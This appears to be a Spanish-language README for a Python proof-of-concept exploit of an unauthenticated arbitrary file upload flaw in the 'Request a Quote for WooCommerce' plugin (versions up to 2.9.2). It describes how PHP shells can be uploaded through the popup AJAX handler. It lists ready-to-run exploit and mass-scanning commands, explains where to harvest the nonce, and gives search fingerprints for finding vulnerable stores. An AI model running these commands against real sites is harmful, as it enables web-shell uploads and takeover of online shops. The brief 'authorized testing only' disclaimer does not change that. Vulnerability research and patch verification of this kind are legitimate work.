
Python PoC que comprueba y explota CVE-2026-18143, una carga arbitraria de archivos sin autenticación en Addify Request a Quote for WooCommerce ≤ 2.9.2 a través del manejador AJAX del popup.
PoC en Python 3 para CVE-2026-18143 en Request a Quote for WooCommerce (woocommerce-request-a-quote, Addify / WooCommerce.com).
CVE-2026-18143 — Request a Quote for WooCommerce ≤ 2.9.2 permite la carga arbitraria de archivos sin autenticación (CWE-434, CVSS 9.8 Crítico) a través de afrfq_submit_quote_via_popup(). El manejador del popup llama a move_uploaded_file() usando el nombre de archivo sin procesar del cliente sin lista de extensiones o MIME permitidos, escribiendo en un directorio de carga temporal de RFQ accesible desde la web. Los atacantes pueden cargar shells .php cuando una regla de cotización pública utiliza el flujo de popup multipágina. Corregido en > 2.9.2.
Página del PoC: https://pocbit.org/pocs/cve-2026-18143
Catálogo: https://pocbit.org/pocs/
| Producto | Request a Quote for WooCommerce (Addify) |
| Ruta del plugin | wp-content/plugins/woocommerce-request-a-quote/ |
| Afectado | ≤ 2.9.2 |
| AJAX | action=afrfq_submit_quote_via_popup → admin-ajax.php |
| Requisito previo | Regla de cotización por popup habilitada en la tienda |
pip install -r requirements.txt
python poc.py -u https://shop.example --mode check
python poc.py -u https://shop.example --mode check --upload-probe
python poc.py -u https://shop.example --mode exploit --nonce YOUR_NONCE --verify
python poc.py -u https://shop.example --mode exploit --page /shop/ --verify
python poc.py --list targets.example.txt --mode check -j 15
El nonce normalmente está en el JS del front-end (objeto localizado afrfq) en las páginas de tienda/producto cuando el popup de cotización está activo.
body="/wp-content/plugins/woocommerce-request-a-quote/"
body="afrfq"
Solo pruebas autorizadas. --upload-probe / --mode exploit escriben archivos en el objetivo.